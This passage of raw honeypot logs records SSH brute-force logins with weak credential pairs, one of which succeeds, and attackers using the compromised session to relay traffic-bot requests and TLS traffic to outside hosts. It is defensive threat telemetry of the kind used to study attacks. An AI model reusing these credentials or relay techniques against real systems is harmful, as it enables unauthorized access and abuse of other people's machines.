2FEtbOicP0o8S4vyttvbAp9OvATpO%2Bjzcev0eEvdn0RdNuf4ysTKizofs6kNSOr7q0WSjt%2B%2FAgTnWZQt2ESaXi28Yd0%2Bk8L7vvop5r%2BSNAOB4mSmxkKE6sacScNgddZ1T4gOFBHyu8rhwb6aZ4ZzP6xCUwDt5PPq8tOPGt6QCDsIbGObPX1IMcFxjuwN4rPFx4TyQWgN1u%2BgKnYkyNqenbq1rQqG4hw2j0Z3AneWYiXNLpfKgqA3io3zA9JgGJ9wB4OoM9zxSlF3%2BWRekAJDohzFL8SM2wuklr9pbwa6EQIl0zmxi'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:45.034932Z","src_ip":"23.148.145.132","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456789","message":"login attempt [guest/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:46.673932Z","src_ip":"91.92.40.36","session":"63ab4b9b462f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38072,"dst_ip":"159.203.135.109","dst_port":22,"session":"e876fa2fd74a","protocol":"ssh","message":"New connection: 91.92.40.36:38072 (159.203.135.109:22) [session: e876fa2fd74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:48.674749Z"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:48.869215Z","src_ip":"23.148.145.132","session":"379208a39747","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:49.114392Z","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:49.181823Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1210\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cj5MN3I%2FdlNxdnY0X1FyPg%3D%3DXZ%2BC3Afsk%2BqF4FWRjEGXrx0kHItFNmezH1umX5GAbXnAdalmxlzxG17ScPSXrI4TCaS6gb9jyvxV1BOLNQTWgfX88CLIYOO%2BhwU2hot%2B%2BDA3R6KWj%2Bgt%2Bo%2Fs4Nd%2BHUkDTmB59jIrgIXA5FRBJqL8freLTA8vtcUM82nXC3gRYUmfEUtKl83NP95ZXFwFtT4p%2B%2FU5JrtWy29CjTw1bHJ7HJaZhPiL%2FmiMrShnmtULcgA2JDXvYaaoqrpX%2Fx%2BdriipYErMERCnCXYxcTA2hu%2Fb8LJEcNZJIY%2BjNQBPxWIa2zxHk6x5dQgAhyM4a4BN4Xg1B%2F2UIEWjgXUHxDJeSRIhXJ6QftRlZu3%2Bbkdl6w6e3aQssnDd2%2BoRczAPKd7VnrPbW%2FigTE%2BrG0JuOnycDEffmak9uYIlrWm%2FvIq1TQUBaSrpCK5JuUarIioVO2bxYHIyjc%2FX66ALjiSX7zjsZsxTODJSSBA%2B1QgeajpGeZtKSq4AKDXIU8d54GsAhGGeI7UHzLGbttBR6Z%2Bwy4PdSWKHA8GYWCvtDhrybO5SnKzQVbze4PGa50FRVxKNSDB6IebTH33vidb3Qus6%2FXq99%2BMmHPOUkGjbkeMjv6iJsBVy9tEGJLOPDa01tQTH93kxrPZ4yhq7lJUxrRHWdJgay9S%2FsDakOFcqnn%2FWuwdo12I0Yv%2FaZ%2B8csWk0S4i3BvDkCCT1yWgsacj7rYJct8oRc4gm4xRvRfs16a9WUoqAXlXFGIZdsSEUT5ojMia35dEHOCGiuyLLrEJuXuVCEpu%2Fc%2FwG1KFx1RhZv5AFvxXbz7zUZztBgYhHc3WjKewW9TGWV5EXvEzlzEeX0LNy0OCLbBmFinw4SMvdBQ90ewHBQGYu1pQkwI77s1wfDPihTqdCYE%2B0z6hWvdwidU0UREk%2BnfLoUIrPwXuxxzfj8L0EWEZ%2FKYKBDamWGcbkhsPHfW4D8N9GoSYSulmvCH%2FAmORPUF4n%2BRY6k6n4SBxD%2B1ebxo%2FFlOoaU1WfCBVC2W%2FUJRlXCgGydgFves%2FGlUrpyE2YvhmcCRHxZC09leU%2F%2FCkmaiAUie4cvWZpUkKWR8RPO%2FhqeP82'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1210\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cj5MN3I%2FdlNxdnY0X1FyPg%3D%3DXZ%2BC3Afsk%2BqF4FWRjEGXrx0kHItFNmezH1umX5GAbXnAdalmxlzxG17ScPSXrI4TCaS6gb9jyvxV1BOLNQTWgfX88CLIYOO%2BhwU2hot%2B%2BDA3R6KWj%2Bgt%2Bo%2Fs4Nd%2BHUkDTmB59jIrgIXA5FRBJqL8freLTA8vtcUM82nXC3gRYUmfEUtKl83NP95ZXFwFtT4p%2B%2FU5JrtWy29CjTw1bHJ7HJaZhPiL%2FmiMrShnmtULcgA2JDXvYaaoqrpX%2Fx%2BdriipYErMERCnCXYxcTA2hu%2Fb8LJEcNZJIY%2BjNQBPxWIa2zxHk6x5dQgAhyM4a4BN4Xg1B%2F2UIEWjgXUHxDJeSRIhXJ6QftRlZu3%2Bbkdl6w6e3aQssnDd2%2BoRczAPKd7VnrPbW%2FigTE%2BrG0JuOnycDEffmak9uYIlrWm%2FvIq1TQUBaSrpCK5JuUarIioVO2bxYHIyjc%2FX66ALjiSX7zjsZsxTODJSSBA%2B1QgeajpGeZtKSq4AKDXIU8d54GsAhGGeI7UHzLGbttBR6Z%2Bwy4PdSWKHA8GYWCvtDhrybO5SnKzQVbze4PGa50FRVxKNSDB6IebTH33vidb3Qus6%2FXq99%2BMmHPOUkGjbkeMjv6iJsBVy9tEGJLOPDa01tQTH93kxrPZ4yhq7lJUxrRHWdJgay9S%2FsDakOFcqnn%2FWuwdo12I0Yv%2FaZ%2B8csWk0S4i3BvDkCCT1yWgsacj7rYJct8oRc4gm4xRvRfs16a9WUoqAXlXFGIZdsSEUT5ojMia35dEHOCGiuyLLrEJuXuVCEpu%2Fc%2FwG1KFx1RhZv5AFvxXbz7zUZztBgYhHc3WjKewW9TGWV5EXvEzlzEeX0LNy0OCLbBmFinw4SMvdBQ90ewHBQGYu1pQkwI77s1wfDPihTqdCYE%2B0z6hWvdwidU0UREk%2BnfLoUIrPwXuxxzfj8L0EWEZ%2FKYKBDamWGcbkhsPHfW4D8N9GoSYSulmvCH%2FAmORPUF4n%2BRY6k6n4SBxD%2B1ebxo%2FFlOoaU1WfCBVC2W%2FUJRlXCgGydgFves%2FGlUrpyE2YvhmcCRHxZC09leU%2F%2FCkmaiAUie4cvWZpUkKWR8RPO%2FhqeP82'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:49.184964Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:49.640268Z","src_ip":"91.92.40.36","session":"63ab4b9b462f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:51.114822Z","src_ip":"91.92.40.36","session":"e876fa2fd74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:51.118318Z","src_ip":"91.92.40.36","session":"e876fa2fd74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx123456","message":"login attempt [ubuntu/qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:51.998543Z","src_ip":"91.92.40.36","session":"4b041758ed40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.6368842124939,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:53.666395Z","src_ip":"172.81.62.90","session":"a344cfaf9a5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38120,"dst_ip":"159.203.135.109","dst_port":22,"session":"db95d757017a","protocol":"ssh","message":"New connection: 91.92.40.36:38120 (159.203.135.109:22) [session: db95d757017a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:54.681859Z"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:55.485681Z","src_ip":"91.92.40.36","session":"4b041758ed40","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:57.819990Z","src_ip":"91.92.40.36","session":"db95d757017a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:57.823603Z","src_ip":"91.92.40.36","session":"db95d757017a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56632,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c49070b67c","protocol":"ssh","message":"New connection: 123.27.168.40:56632 (10.17.0.5:22) [session: 88c49070b67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:59.825845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:59.830456Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:00.069936Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27232,"dst_ip":"159.203.135.109","dst_port":22,"session":"825c1deed3e0","protocol":"ssh","message":"New connection: 91.92.40.36:27232 (159.203.135.109:22) [session: 825c1deed3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:01.086955Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:01.102842Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:01.500542Z","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:01.635183Z","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.033667Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=b2ooM05aXiM%2Bdlk8JCVEbw%3D%3DEE7KJyVx1R4zde8k5SreQ8juD228UPtT9P%2FhkG2oJFhsc7BeNu2YoqtMn8Hm6pOefttOiqkdPOsJv16GFmPiCKCY5Xhg%2F3k8N23aq5exu0lb6fpRY3BU0dTseng%2BzH26U5lu6Xlqm1urQU1sWIBaZRfrAzc4ixVZNGmHxa0zsJvb37K6BF6mBJTfd%2BVGARuHd%2BFp0arGTKFaqXkGgo%2FHpZy82ExyBm1jokG%2F5SXqNRTR41EaNUaeFvZYHrnRlBQWkMqrw2pTuYl3FavGs%2BA8aMviNvOyBawerBCfqOLoKKjeQa9os937b0VRDPbi%2BliYPE2qAzN%2FZDaU8q860Vu2YrXZjjT4npEpfvTjZ0Up0rsZxwhVRk7jgd%2BWS%2Bzd8bW9Cx0QpSjvgTOSCDakJ%2BYExWtM3awyW827UoCPvKB78fA82fVtl31AuNn0Klm%2F5rixnyeefXa4fLVbtVNb9SWt9bCYe7xn90aoTVwTjZ2kCwZEDMQrQrMQSKDZYfMpn8zuWcpT6Ozs9CySwsmkTGzREGx64CKHutL2SHGqq101A4q95SV06NZT4XJ9E6H7SDeejFkMLrjJfAMxavcPO8%2FSVGjA2mConso4t2tlpgNaxoWokbO3v3cF7Rwskhm6%2F0YyBdCTy1zQdwNXHqvTY4mm6JwH1IbSH9a3oilsTcCr6PFGjXzBMASbBFREy6kS1IHyGQ2uXJl5o8adzEjWePvY8FtrdbrtQKILdy%2BQMEDZnApSR6MjrrCki8YMlSixQ%2B7l8kR5hQ8DoxRWyZKvgVxMnPqLdc0feC89qBp6Jj4MinI4TDpp3MnYEVthM1EDxsefZRUkoDnxa3pfGnUegjx6XKZYTTNJb46hVREyclii4WQlj%2BNhpelEdEnRwYofh5ZTq%2F5LDgLwDvcaeo2svzYF9WbamlKV5d9eWTk0JniHsTnfFBD1MDjyqlfXl%2FQ3TBxTHnudJ1Bsk18qgL4jRe1ICWS%2BJROMQ8oX9Xv8wMi3HQ%2Bhls%2BBF9J%2FqwUJXlAQZge1VPMXy8AotoxM0olOUOGjXNR%2BvosQ6jelBOZ9qMQTyQQf3LX9Pw3mhEqU%2B0N%2FxZ2z'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=b2ooM05aXiM%2Bdlk8JCVEbw%3D%3DEE7KJyVx1R4zde8k5SreQ8juD228UPtT9P%2FhkG2oJFhsc7BeNu2YoqtMn8Hm6pOefttOiqkdPOsJv16GFmPiCKCY5Xhg%2F3k8N23aq5exu0lb6fpRY3BU0dTseng%2BzH26U5lu6Xlqm1urQU1sWIBaZRfrAzc4ixVZNGmHxa0zsJvb37K6BF6mBJTfd%2BVGARuHd%2BFp0arGTKFaqXkGgo%2FHpZy82ExyBm1jokG%2F5SXqNRTR41EaNUaeFvZYHrnRlBQWkMqrw2pTuYl3FavGs%2BA8aMviNvOyBawerBCfqOLoKKjeQa9os937b0VRDPbi%2BliYPE2qAzN%2FZDaU8q860Vu2YrXZjjT4npEpfvTjZ0Up0rsZxwhVRk7jgd%2BWS%2Bzd8bW9Cx0QpSjvgTOSCDakJ%2BYExWtM3awyW827UoCPvKB78fA82fVtl31AuNn0Klm%2F5rixnyeefXa4fLVbtVNb9SWt9bCYe7xn90aoTVwTjZ2kCwZEDMQrQrMQSKDZYfMpn8zuWcpT6Ozs9CySwsmkTGzREGx64CKHutL2SHGqq101A4q95SV06NZT4XJ9E6H7SDeejFkMLrjJfAMxavcPO8%2FSVGjA2mConso4t2tlpgNaxoWokbO3v3cF7Rwskhm6%2F0YyBdCTy1zQdwNXHqvTY4mm6JwH1IbSH9a3oilsTcCr6PFGjXzBMASbBFREy6kS1IHyGQ2uXJl5o8adzEjWePvY8FtrdbrtQKILdy%2BQMEDZnApSR6MjrrCki8YMlSixQ%2B7l8kR5hQ8DoxRWyZKvgVxMnPqLdc0feC89qBp6Jj4MinI4TDpp3MnYEVthM1EDxsefZRUkoDnxa3pfGnUegjx6XKZYTTNJb46hVREyclii4WQlj%2BNhpelEdEnRwYofh5ZTq%2F5LDgLwDvcaeo2svzYF9WbamlKV5d9eWTk0JniHsTnfFBD1MDjyqlfXl%2FQ3TBxTHnudJ1Bsk18qgL4jRe1ICWS%2BJROMQ8oX9Xv8wMi3HQ%2Bhls%2BBF9J%2FqwUJXlAQZge1VPMXy8AotoxM0olOUOGjXNR%2BvosQ6jelBOZ9qMQTyQQf3LX9Pw3mhEqU%2B0N%2FxZ2z'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.037351Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.041865Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x07\\x8c]\\xdfU;\\xed\\xdf\\x9aw\\xfa \\xc4\\x8e\\xe2}\\x19\\n\\xa0\\xfd?-\\xcc\\xf0\\x94\\xb7\\x06\\x1cO\\xb75\\xd0 \\xd3\\xa2I64\\xabO\\xd2\\xa3\"H_\\xc1\\xa3\\x16\\x01>\\x84\\x18Oa\\xfb\\xaa\\xfb?Ps!E\\xed\\x92\\x1f\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5S\\xa3~\\xf2\\xb7\\xb2\\xb5\\xb8n\\xe6&\\xc5{/c?\\x91s\\x18V\\x85\\x9f\\x95Q\\xb5\\xd7\\xae\\xb8\\x86D\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0